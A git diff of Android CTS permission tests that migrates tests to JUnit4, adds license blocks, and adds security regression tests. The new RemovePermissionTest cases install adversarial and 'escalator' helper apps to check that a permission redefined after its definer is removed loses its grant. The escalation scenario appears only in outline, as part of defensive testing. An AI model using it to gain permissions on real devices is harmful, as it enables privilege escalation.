 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctspermission_jni",
     sdk_version: "current",
diff --git a/tests/tests/permission/permissionTestUtilLib/Android.bp b/tests/tests/permission/permissionTestUtilLib/Android.bp
index e593998..dd50015 100644
--- a/tests/tests/permission/permissionTestUtilLib/Android.bp
+++ b/tests/tests/permission/permissionTestUtilLib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "permission-test-util-lib",
 
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index d742ed8..eea2211 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPermissionTestCasesSdk28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/sdk28/OWNERS b/tests/tests/permission/sdk28/OWNERS
index c126a70..98dc09e 100644
--- a/tests/tests/permission/sdk28/OWNERS
+++ b/tests/tests/permission/sdk28/OWNERS
@@ -1,2 +1 @@
 # Bug component: 137825
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/ConnectivityManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ConnectivityManagerPermissionTest.java
index a95c96e..0e8797d 100644
--- a/tests/tests/permission/src/android/permission/cts/ConnectivityManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ConnectivityManagerPermissionTest.java
@@ -17,34 +17,48 @@
 package android.permission.cts;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.net.OemNetworkPreferences;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
 
 /**
 * Test that protected android.net.ConnectivityManager methods cannot be called without
 * permissions
 */
-public class ConnectivityManagerPermissionTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ConnectivityManagerPermissionTest {
 
-    private ConnectivityManager mConnectivityManager = null;
+    private ConnectivityManager mConnectivityManager;
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mConnectivityManager = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         assertNotNull(mConnectivityManager);
     }
 
-
-
     /**
      * Verify that calling {@link ConnectivityManager#getNetworkInfo(int))}
      * requires permissions.
      * <p>Tests Permission:
      *   {@link android.Manifest.permission#ACCESS_NETWORK_STATE}.
      */
-    @SmallTest
+    @Test
     public void testGetNetworkInfo() {
         try {
             mConnectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
@@ -53,4 +67,54 @@
             // expected
         }
     }
+
+    /**
+     * Verify that calling {@link ConnectivityManager#setOemNetworkPreference(OemNetworkPreferences,
+     * Executor, ConnectivityManager.OnSetOemNetworkPreferenceListener)}
+     * requires permissions.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#CONTROL_OEM_PAID_NETWORK_PREFERENCE}.
+     */
+    @Test
+    public void testSetOemNetworkPreference() {
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE));
+        try {
+            final String testPackage = "does.not.matter.com";
+            final int testPref = OemNetworkPreferences.OEM_NETWORK_PREFERENCE_OEM_PAID;
+            final OemNetworkPreferences preferences =
+                    new OemNetworkPreferences.Builder()
+                    .addNetworkPreference(testPackage, testPref)
+                    .build();
+            mConnectivityManager.setOemNetworkPreference(preferences, null, null);
+            fail("Was able to call setOemNetworkPreference");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Verify that calling {@link ConnectivityManager#setOemNetworkPreference(OemNetworkPreferences,
+     * Executor, ConnectivityManager.OnSetOemNetworkPreferenceListener)}
+     * requires automotive feature.
+     * <p>Tests Feature:
+     *   {@link PackageManager#FEATURE_AUTOMOTIVE}.
+     */
+    @Test
+    public void testSetOemNetworkPreferenceHasAutomotiveFeature() {
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE));
+        try {
+            final String testPackage = "does.not.matter.com";
+            final int testPref = OemNetworkPreferences.OEM_NETWORK_PREFERENCE_OEM_PAID;
+            final OemNetworkPreferences preferences =
+                    new OemNetworkPreferences.Builder()
+                            .addNetworkPreference(testPackage, testPref)
+                            .build();
+            mConnectivityManager.setOemNetworkPreference(preferences, null, null);
+            fail("Was able to call setOemNetworkPreference");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 8ed0afd..9455746 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -1093,12 +1093,15 @@
             return;
         }
 
-        assertFalse(f + " can be opened for reading", canOpenForReading(f));
-        assertFalse(f + " can be opened for writing", canOpenForWriting(f));
-
+        // SELinux policy should ensure that the file isn't visible to apps at
+        // all.
         FileUtils.FileStatus status = new FileUtils.FileStatus();
-        assertFalse("stat permitted on " + f,
+        assertFalse("stat permitted on " + f + " (SELinux issue?)",
                 FileUtils.getFileStatus(f.getPath(), status, false));
+
+        // Double-check that we really can't read/write the file.
+        assertFalse(f + " can be opened for reading (SELinux issue?)", canOpenForReading(f));
+        assertFalse(f + " can be opened for writing (SELinux issue?)", canOpenForWriting(f));
     }
 
     private static boolean canOpenForReading(File f) {
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 53b7d18..1a9c8dc 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -74,6 +74,8 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ProtoUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
 
@@ -111,6 +113,7 @@
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
     private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
+    private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
 
     // Same as in AccessLocationOnCommand
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
@@ -133,6 +136,11 @@
     private static ServiceConnection sConnection;
     private static IAccessLocationOnCommand sLocationAccessor;
 
+    private static void assumeNotPlayManaged() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+                sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
+    }
+
     /**
      * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
      */
@@ -270,13 +278,14 @@
                 + BACKGROUND_ACCESS_SETTLE_TIME;
         while (true) {
             runLocationCheck();
+            Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
 
             StatusBarNotification notification = getPermissionControllerNotification();
             if (notification == null) {
                 // Sometimes getting a location takes some time, hence not getting a notification
                 // can be caused by not having gotten a location yet
                 if (SystemClock.elapsedRealtime() - start < timeout) {
-                    Thread.sleep(200);
+                    Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
                     continue;
                 }
 
@@ -571,6 +580,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(true);
 
@@ -580,6 +590,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(true);
 
@@ -617,6 +628,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(false);
 
@@ -657,6 +669,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
+        assumeNotPlayManaged();
         disableLocationAccessCheck();
         accessLocation();
         assertNull(getNotification(true));
@@ -665,7 +678,9 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
+        assumeNotPlayManaged();
         // Disable the feature and access location in disabled state
+        getNotification(true, true);
         disableLocationAccessCheck();
         accessLocation();
         assertNull(getNotification(true));
@@ -682,6 +697,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+        assumeNotPlayManaged();
         getNotification(true);
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
@@ -695,6 +711,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
+        assumeNotPlayManaged();
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         sContext.startActivity(intent);
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 466fb7f..57e8755 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -35,6 +35,7 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
@@ -52,17 +53,19 @@
             APP_PKG_NAME_BASE + ".runtimepermissionuserapp";
     private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
             APP_PKG_NAME_BASE + ".runtimepermissiondefinerapp";
-    private static final String INSTALLTIME_PERMISSION_USER_PKG_NAME =
-            APP_PKG_NAME_BASE + ".installtimepermissionuserapp";
-    private static final String INSTALLTIME_PERMISSION_DEFINER_PKG_NAME =
-            APP_PKG_NAME_BASE + ".installtimepermissiondefinerapp";
+    private static final String INSTALL_PERMISSION_USER_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissionuserapp";
+    private static final String INSTALL_PERMISSION_DEFINER_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissiondefinerapp";
+    private static final String INSTALL_PERMISSION_ESCALATOR_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissionescalatorapp";
 
     private static final String TEST_PERMISSION =
             "android.permission.cts.revokepermissionwhenremoved.TestPermission";
     private static final String TEST_RUNTIME_PERMISSION =
             APP_PKG_NAME_BASE + ".TestRuntimePermission";
-    private static final String TEST_INSTALLTIME_PERMISSION =
-            APP_PKG_NAME_BASE + ".TestInstalltimePermission";
+    private static final String TEST_INSTALL_PERMISSION =
+            APP_PKG_NAME_BASE + ".TestInstallPermission";
 
     private static final String ADVERSARIAL_PERMISSION_DEFINER_APK_NAME =
             "CtsAdversarialPermissionDefinerApp";
@@ -74,14 +77,15 @@
             "CtsRuntimePermissionDefinerApp";
     private static final String RUNTIME_PERMISSION_USER_APK_NAME =
             "CtsRuntimePermissionUserApp";
-    private static final String INSTALLTIME_PERMISSION_DEFINER_APK_NAME =
-            "CtsInstalltimePermissionDefinerApp";
-    private static final String INSTALLTIME_PERMISSION_USER_APK_NAME =
-            "CtsInstalltimePermissionUserApp";
+    private static final String INSTALL_PERMISSION_DEFINER_APK_NAME =
+            "CtsInstallPermissionDefinerApp";
+    private static final String INSTALL_PERMISSION_USER_APK_NAME =
+            "CtsInstallPermissionUserApp";
+    private static final String INSTALL_PERMISSION_ESCALATOR_APK_NAME =
+            "CtsInstallPermissionEscalatorApp";
 
     private Context mContext;
     private Instrumentation mInstrumentation;
-    private Object mMySync = new Object();
 
     @Before
     public void setContextAndInstrumentation() {
@@ -94,6 +98,19 @@
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
     }
 
+    @After
+    public void cleanUpTestApps() throws Exception {
+        uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_ESCALATOR_PKG_NAME, true);
+        Thread.sleep(5000);
+    }
+
     private boolean permissionGranted(String pkgName, String permName)
             throws PackageManager.NameNotFoundException {
         PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
@@ -112,19 +129,20 @@
     private void installApp(String apk) throws InterruptedException {
         String installResult = SystemUtil.runShellCommand(
                 "pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
-        synchronized (mMySync) {
-            mMySync.wait(10000);
-        }
         assertEquals("Success", installResult.trim());
+        Thread.sleep(5000);
     }
 
     private void uninstallApp(String pkg) throws InterruptedException {
-        String uninstallResult = SystemUtil.runShellCommand(
-                "pm uninstall " + pkg);
-        synchronized (mMySync) {
-            mMySync.wait(10000);
+        uninstallApp(pkg, false);
+    }
+
+    private void uninstallApp(String pkg, boolean cleanUp) throws InterruptedException {
+        String uninstallResult = SystemUtil.runShellCommand("pm uninstall " + pkg);
+        if (!cleanUp) {
+            assertEquals("Success", uninstallResult.trim());
+            Thread.sleep(5000);
         }
-        assertEquals("Success", uninstallResult.trim());
     }
 
     private void grantPermission(String pkg, String permission) {
@@ -134,7 +152,7 @@
 
     @SecurityTest
     @Test
-    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+    public void runtimePermissionShouldBeRevokedIfRemoved() throws Throwable {
         installApp(ADVERSARIAL_PERMISSION_DEFINER_APK_NAME);
         installApp(ADVERSARIAL_PERMISSION_USER_APK_NAME);
 
@@ -146,12 +164,10 @@
         uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
         installApp(VICTIM_PERMISSION_DEFINER_APK_NAME);
         assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
-        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
-        uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME);
     }
 
     @Test
-    public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+    public void runtimePermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
         installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
         installApp(RUNTIME_PERMISSION_USER_APK_NAME);
 
@@ -162,8 +178,6 @@
         // operation
         installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
         assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
-        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
-        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
     }
 
     @Test
@@ -183,26 +197,46 @@
         // Now uninstall the permission definer; the user packages' permission should be revoked
         uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
         assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
+    }
 
-        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
+    @SecurityTest
+    @Test
+    public void installPermissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Uninstall the app which defines the install permission, and install another app
+        // redefining it as a runtime permission.
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+        installApp(INSTALL_PERMISSION_ESCALATOR_APK_NAME);
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
     }
 
     @Test
-    public void installtimePermissionDependencyTest() throws Throwable {
-        installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
-        // Should not have the permission auto-granted
-        assertFalse(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
-        // Now install the permission definer; user package should have the permission auto granted
-        installApp(INSTALLTIME_PERMISSION_DEFINER_APK_NAME);
-        installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
-        assertTrue(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
-        // Now uninstall the permission definer; the user packages' permission will not be revoked
-        uninstallApp(INSTALLTIME_PERMISSION_DEFINER_PKG_NAME);
-        assertTrue(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
+    public void installPermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
 
-        uninstallApp(INSTALLTIME_PERMISSION_USER_PKG_NAME);
+        // Install the app which defines the install permission again, similar to updating the app.
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+    }
+
+    @Test
+    public void installPermissionDependencyTest() throws Throwable {
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        // Should not have the permission auto-granted
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Now install the permission definer; user package should have the permission auto granted
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Now uninstall the permission definer; the user package's permission should be revoked
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
index b837976..1c834cece 100644
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
@@ -270,22 +270,6 @@
      * If a permission was granted before the split happens, the new permission should inherit the
      * granted state.
      *
-     * This is a duplicate of {@link #inheritGrantedPermissionState} but for the storage permission
-     */
-    @Test
-    public void inheritGrantedPermissionStateStorage() throws Exception {
-        install(APK_STORAGE_29);
-        grantPermission(APP_PKG, READ_EXTERNAL_STORAGE);
-
-        install(APK_STORAGE_28);
-
-        assertPermissionGranted(ACCESS_MEDIA_LOCATION);
-    }
-
-    /**
-     * If a permission was granted before the split happens, the new permission should inherit the
-     * granted state.
-     *
      * <p>App using a shared uid
      */
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index ba9212b..d293c70 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -25,6 +25,7 @@
 import android.os.Process
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObject2
 import android.support.test.uiautomator.UiObjectNotFoundException
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil
@@ -34,6 +35,7 @@
 import org.junit.Assert
 import org.junit.Before
 import org.junit.Test
+import java.util.regex.Pattern
 
 /**
  * Tests that the permissioncontroller behaves normally when an app defines a permission in the
@@ -44,11 +46,12 @@
     private var mUiDevice: UiDevice? = null
     private var mContext: Context? = null
     private var mPm: PackageManager? = null
+    private var mAllowButtonText: Pattern? = null
 
     @Before
     fun install() {
         SystemUtil.runShellCommand("pm install -r " +
-                "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+                TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
     }
 
     @Before
@@ -57,6 +60,14 @@
         mUiDevice = UiDevice.getInstance(mInstrumentation)
         mContext = mInstrumentation?.targetContext
         mPm = mContext?.packageManager
+        val permissionControllerResources = mContext?.createPackageContext(
+                mContext?.packageManager?.permissionControllerPackageName, 0)?.resources
+        mAllowButtonText = Pattern.compile(
+                Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+                        permissionControllerResources.getIdentifier(
+                                "grant_dialog_button_allow", "string",
+                                "com.android.permissioncontroller")))),
+                Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
     }
 
     @Before
@@ -94,9 +105,7 @@
         eventually {
             startRequestActivity(arrayOf(TEST))
             mUiDevice!!.waitForIdle()
-            waitFindObject(By.res(
-                    "com.android.permissioncontroller:id/permission_allow_button"),
-                    100).click()
+            findAllowButton().click()
         }
         eventually {
             Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
@@ -113,6 +122,17 @@
         SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
     }
 
+    fun findAllowButton(): UiObject2 {
+        return if (mContext?.packageManager
+                        ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+            waitFindObject(By.text(mAllowButtonText), 100)
+        } else {
+            waitFindObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button"),
+                    100)
+        }
+    }
+
     /**
      * If app has one permission granted, then it can't grant itself another permission for free.
      */
@@ -131,7 +151,12 @@
             startRequestActivity(arrayOf(targetPermission))
             mUiDevice!!.waitForIdle()
             try {
-                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+                if (mContext?.packageManager
+                                ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+                    findAllowButton()
+                } else {
+                    waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+                }
             } catch (e: UiObjectNotFoundException) {
                 Assert.assertEquals("grant dialog never showed.",
                         mPm!!.checkPermission(targetPermission,
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index 89ca269..ed34dc8 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPermissionTestCasesTelephony",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 8c5ae37..aaa475e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAdversarialPermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -21,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 548a494..65a1174 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAdversarialPermissionUserApp",
     defaults: ["cts_defaults"],
@@ -21,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..d02d8f5
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsInstallPermissionDefinerApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..2df6743
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissiondefinerapp">
+
+    <permission
+        android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+        android:protectionLevel="normal" />
+
+    <application />
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
new file mode 100644
index 0000000..46c403a
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsInstallPermissionEscalatorApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+    certificate: ":cts-testkey1",
+}
